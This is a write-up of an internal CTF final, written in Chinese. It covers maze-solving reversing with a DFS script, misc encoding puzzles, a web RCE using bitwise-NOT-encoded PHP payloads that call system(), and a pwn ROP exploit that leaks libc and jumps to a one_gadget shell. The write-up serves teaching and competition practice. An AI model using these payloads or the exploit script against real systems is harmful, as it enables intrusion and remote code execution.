内部赛-2022第二届网络安全攻防大赛个人赛决赛 WriteUp.
Re
ezAlgorithm
题目给了两个pyc文件。
vshell.cpython-38.pyc
chal.cpython-38.pyc
用uncompyle和pycdc还原效果不一样。可以看字节码再手动还原关键代码。下面给出最终还原结果及注释。
chal分析可知起点第一列,终点最后一列。
import queue, random
class chal:
def __init__(self, size):
self.size = size
# 2n+1 * 2n+1 迷宫
self.buffer = [[0 for i in range(size * 2 + 1)] for i in range(size * 2 + 1)]
self.sP = None
self.eP = None
# 2n+1 索引 的 2n+1 索引列 为1
for i in range(size):
for j in range(size):
self.buffer[(i * 2 + 1)][j * 2 + 1] = 1
def read(self, x, y, direction=4):
try:
if direction == 4:
return self.buffer[(x * 2 + 1)][(y * 2 + 1)] # 右1下1
if direction == 0:
return self.buffer[(x * 2)][(y * 2 + 1)] # 下1
if direction == 1:
return self.buffer[(x * 2 + 2)][(y * 2 + 1)] # 右2下1
if direction == 2:
return self.buffer[(x * 2 + 1)][(y * 2)] # 右1
if direction == 3:
return self.buffer[(x * 2 + 1)][(y * 2 + 2)] # 右1下2
except IndexError:
return 0
def write(self, x, y, val, direction=4):
if direction == 4:
self.buffer[(x * 2 + 1)][y * 2 + 1] = val
elif direction == 0: # 下1
self.buffer[(x * 2)][y * 2 + 1] = val
elif direction == 1: # 右2下1
self.buffer[(x * 2 + 2)][y * 2 + 1] = val
elif direction == 2: # 右1
self.buffer[(x * 2 + 1)][y * 2] = val
elif direction == 3: # 右1下2
self.buffer[(x * 2 + 1)][y * 2 + 2] = val
def mapping(self):
sBuffer = queue.LifoQueue()
sP = (random.randint(0, self.size - 1), 0)
eP = (random.randint(0, self.size - 1), self.size - 1)
self.write(sP[0], sP[1], 2, 2) # 初始化起点
self.write(eP[0], eP[1], 2, 3) # 初始化终点
# print(self.buffer)
cP = eP
sBuffer.put(eP)
while True:
# 循环判断可以走的方向,如果可以走远随机走一个方向
# 将 cP 从 eP 终点开始随机走,同时改变迷宫
nD = []
tP = False
bP = False
lP = False
rP = False
if cP[0] == 0:
tP = True
if cP[1] == 0:
lP = True
if cP[0] == self.size - 1:
bP = True
if cP[1] == self.size - 1:
rP = True
if not tP and self.read(cP[0] - 1, cP[1]) == 1: # 可向上走 0放入nD
nD.append(0)
if not bP and self.read(cP[0] + 1, cP[1]) == 1: # 可向下走 1放入nD
nD.append(1)
if not lP and self.read(cP[0], cP[1] - 1) == 1: # 可向左走 2放入nD
nD.append(2)
if not rP and self.read(cP[0], cP[1] + 1) == 1: # 可向右走 3放入nD
nD.append(3)
if len(nD) != 0: # 如果有可以走的方向
direction = random.choice(nD) # 随机选择一个方向
if direction == 0:
self.write(cP[0], cP[1], 2, 0)
cP = (cP[0] - 1, cP[1])
self.write(cP[0], cP[1], 2)
elif direction == 1:
self.write(cP[0], cP[1], 2, 1)
cP = (cP[0] + 1, cP[1])
self.write(cP[0], cP[1], 2)
elif direction == 2:
self.write(cP[0], cP[1], 2, 2)
cP = (cP[0], cP[1] - 1)
self.write(cP[0], cP[1], 2)
elif direction == 3:
self.write(cP[0], cP[1], 2, 3)
cP = (cP[0], cP[1] + 1)
self.write(cP[0], cP[1], 2)
sBuffer.put(cP)
else:
try:
cP = sBuffer.get_nowait()
except queue.Empty:
break
except:
pass
self.sP = sP
self.eP = eP
continue
# start = (sP[0] * 2 + 1, 0) # 起点位置 见play
# target = (eP[0] * 2 + 1, self.size * 2)
def play(self, _input):
cP = (self.sP[0] * 2 + 1, 0) # 起点位置
for ch in _input:
if ch == 'm': # move up
cP = (cP[0] - 1, cP[1])
elif ch == 'q': # move down
cP = (cP[0] + 1, cP[1])
elif ch == 'd': # move left
cP = (cP[0], cP[1] - 1)
elif ch == 'y': # move right
cP = (cP[0], cP[1] + 1)
if self.buffer[cP[0]][cP[1]] == 0: # 不能走0的位置
return False
if cP == (self.eP[0] * 2 + 1, self.size * 2): # 终点位置
return True
return False
vshell还原
from chal import *
import time, random, socket
from _thread import start_new_thread
flag = 'flag{假的}'
def clientmain(conn):
conn.send(b'Press Enter to get started.')
conn.recv(1000)
bWin = False
for counti in range(10):
startTime = time.time()
# _chal = chal(random.randint(10, 30))
_chal = chal(10)
_chal.mapping()
for i in _chal.buffer:
for j in i:
if j == 0:
conn.send(b'?')
else:
conn.send(b'!')
else:
conn.send(b'\nSolution: ')
if not _chal.play(conn.recv(1000).decode()):
conn.send(b'Next Time.')
break
else:
endTime = time.time()
# if endTime - startTime > 3:
# conn.send(b'Too long.\n')
# break
if counti == 9:
bWin = True
if bWin:
conn.send(f"You passed! The flag is {flag}".encode())
else:
conn.send(b'Try again.')
conn.close()
if __name__ == '__main__':
s = socket.socket()
s.bind(('0.0.0.0', 1145))
s.listen()
try:
ThreadCount = 0
while True:
Client, address = s.accept()
print('Connected to: ' + address[0] + ':' + str(address[1]))
start_new_thread(clientmain, (Client,))
ThreadCount += 1
print('Thread Number: ' + str(ThreadCount))
except KeyboardInterrupt:
s.close()
exit(0)
except Exception as e:
try:
s.close()
raise e
finally:
e = None
del e
全部分析了,发现没有分析的必要,可以看字符猜起点,终点位置。pyc中找到上下左右即可以,不需要过多的分析。
直接DFS算法解题。
迷宫玩法:从左边的!为起点,走到右边的!
方向: m上 q下 d左 y右
reverse_maze2.py
# reverse_maze2.py
from typing import List
f = []
UNMOVABLE = 0 # 墙为0
class Solution:
def set_maze(self, board, start, target):
# 将 start, target 在 board 中 重置为可移动
board[start[0]][start[1]] = UNMOVABLE + 1
board[target[0]][target[1]] = UNMOVABLE + 1
def exist(self, board: List[List], target: [int, int], start: [int, int] = [0, 0]) -> bool:
self.set_maze(board, start, target)
end_r, end_c = target
rs, cs = start # row start, column start
row = len(board)
col = len(board[0])
lst = []
def search(i, j, cur):
if i >= row or i < 0:
return False
if j >= col or j < 0:
return False
letter = board[i][j]
if letter == UNMOVABLE or letter == None:
return False
if i == end_r and j == end_c: # 找到最后一个
lst.append([i, j])
print(lst)
f.extend(lst)
return True
lst.append([i, j])
board[i][j] = None
ret = search(i + 1, j, cur + 1) or \
search(i - 1, j, cur + 1) or \
search(i, j + 1, cur + 1) or \
search(i, j - 1, cur + 1)
# 取消标记 回撤一步
board[i][j] = letter
lst.pop()
return ret
for i in range(row):
for j in range(col):
ret = search(i + rs, j + cs, 0)
if ret:
return True
print(lst)
return False
def get_direction(board: List[List[int]]):
res = ''
for i in range(len(board) - 1):
a, b = board[i], board[i + 1]
r1, c1 = a
r2, c2 = b
if r2 - r1 == 1:
res += 'q' # line down
elif r2 - r1 == -1:
res += 'm' # line up
elif c2 - c1 == 1:
res += 'y' # right
elif c2 - c1 == -1:
res += 'd' # left
else:
print(f'error {i}, {res}')
res = ''
return res
def find_start(maze):
for i in range(len(maze)):
if maze[i][0] == 1:
return [i, 0]
def find_end(maze):
for i in range(len(maze)):
if maze[i][len(maze) - 1] == 1:
return [i, len(maze) - 1]
def resolve(maze, target, start):
global f
f = []
a = Solution()
a.exist(maze, target, start)
# print(f)
direction = get_direction(f)
print(direction)
return direction
def print_maze(maze):
for row in maze:
print(''.join(str(x) for x in row))
def convert_10_maze(txt):
if isinstance(txt, bytes):
txt = txt.decode()
maze_str = txt.replace('?', '0').replace('!', '1')
n = int(len(maze_str) ** 0.5)
# 将字符串切割成10个字符的列表
rows = [maze_str[i:i + n] for i in range(0, len(maze_str), n)]
# 将每个字符转换为整数,并创建10x10数组
array = [[int(char) for char in row] for row in rows]
return array
使用pwntools连续回答问题。
main.py
# main.py
from pwn import *
from reverse_maze2 import resolve, find_start, find_end, print_maze, convert_10_maze
sh = remote('39.106.48.123', 25036)
'''
Press Enter to get started.
??????????????????????!!!?!!!!!?!!!?!!!!!??!???!?!?!?!?!???!?!??!?!!!?!?!!!?!!!?!?!??!?!???!???????!?!?!??!?!!!?!!!!!!!?!!!?!??!???!???????!?????!??!!!!!?!?!!!!!?!!!?!??!?????!?!?!???!?!????!!!!!?!?!?!?!!!?!!!!?????!?!?!???!?????!??!!!?!!!?!!!!!?!!!?!??!?!???!???????!?!????!?!!!?!?!!!!!!!?!!!??!?!???!?!???!?????!?!!?!?!!!?!?!!!?!!!?!??!?!?!?????!???!???!??!?!?!?!!!?!!!?!!!!!??!???!?!?!???!?!??????!!!!!!!?!!!!!?!!!!!??????????????????????
Solution:
'''
sh.recvuntil(b'get started.')
sh.sendline()
for i in range(10):
r = sh.recvuntil(b'\nSolution: ', drop=True)
maze = convert_10_maze(r)
print_maze(maze)
start = find_start(maze)
end = find_end(maze)
direction = resolve(maze, end, start)
if not direction:
raise Exception('not found')
sh.sendline(direction.encode())
sh.interactive()
Misc
Checkin
Cyberchef 自动。
Morse
A替换 - B替换. 或者换一下
Cyberchef 解码。
华强
二张图片, 一个用Stegsolve有二维码。扫描,解码。文件1
另一张文件末尾有内容。base64解得到文件2.
有一个人前来买瓜
哥们儿这瓜多少钱一斤啊两块钱一斤
这瓜皮是金子做的还是瓜粒子是金子做的
你瞧瞧现在哪儿有瓜呀这都是大棚的瓜
你嫌贵我还嫌贵呢
这瓜保熟吗
我开水果摊的能卖给你生瓜蛋子
我问你这瓜熟吗
你是故意找茬儿是不是你要不要吧
你这瓜要熟我肯定要啊
十五斤30块
你这哪够十五斤啊你这秤有问题
吸铁石
另外你说的这瓜要是生的你自己吞进去
你他妈劈我瓜是不是
萨日朗
文件1都是文件2的内容。短的是码表。
看了一下01二进制不太像。正好16行试下16进制码表替换。
d = {
"有一个人前来买瓜": 0,
"哥们儿这瓜多少钱一斤啊两块钱一斤": 1,
"这瓜皮是金子做的还是瓜粒子是金子做的": 2,
"你瞧瞧现在哪儿有瓜呀这都是大棚的瓜": 3,
"你嫌贵我还嫌贵呢": 4,
"这瓜保熟吗": 5,
"我开水果摊的能卖给你生瓜蛋子": 6,
"我问你这瓜熟吗": 7,
"你是故意找茬儿是不是你要不要吧": 8,
"你这瓜要熟我肯定要啊": 9,
"十五斤30块": 10,
"你这哪够十五斤啊你这秤有问题": 11,
"吸铁石": 12,
"另外你说的这瓜要是生的你自己吞进去": 13,
"你他妈劈我瓜是不是": 14,
"萨日朗": 15,
}
f =open('f4', 'r', encoding='utf8').read()
for line in f.splitlines():
if d[line]==None:
print('error', line)
print(f'{d[line]:x}', end='')
# 637466e98089e6898be58898e58d8ee5bcbae79a84464c41473a666c61677b65636535396561352d333038352d346465642d626437322d3439663663396539343561387d
解码得到flag.
外太空的秘密
python排列组合 。
from itertools import product
a = list('ACGTRNDEG')
f = open('ff.txt', 'w')
for i, x in enumerate(product(a, repeat=len(a))):
print(i, x)
res = f'{i+1}, ' + ''.join(x) + '\n' # 注意i+1
f.write(res)
f.flush()
直接照题目填上得flag
web
ezrce
git 泄露。
得到 1ndex.php 。 str参数。。
搜索到相似目。fuzz后尝试反码获取。
echo urlencode(~"ls ../ -la");
${(~%8C%86%8C%8B%9A%92)(~%93%8C)}
左边system 函数名 右边payload。最后找到
flag就在 ../ 目录,挺长一串。 cat ../flllgggggg
pwn
ezrop
简单的栈迁移
from pwn import *
txt = "39.106.48.123 22103"
host, port = txt.split(' ')
s = remote(host, port)
# s = process('./ezrop')
context(log_level='debug', arch='amd64', os='linux')
elf = ELF('./ezrop')
write_1_s_30 = 0x00000004007BE
read = elf.got['read'] + 0x30
payload = flat('a' * 0x30, read, write_1_s_30)
s.recv()
s.send(payload)
leak = u64(s.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("libc-2.27.so")
libc.address = leak - libc.sym["read"]
success('read:' + hex(leak))
success('libc:' + hex(libc.address))
ogg = libc.address + 0x4527a # 本地libc
ogg = libc.address + 0x4f302
"""
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
"""
payload = flat(b'a' * 0x30, 0, ogg)
s.send(payload)
s.interactive()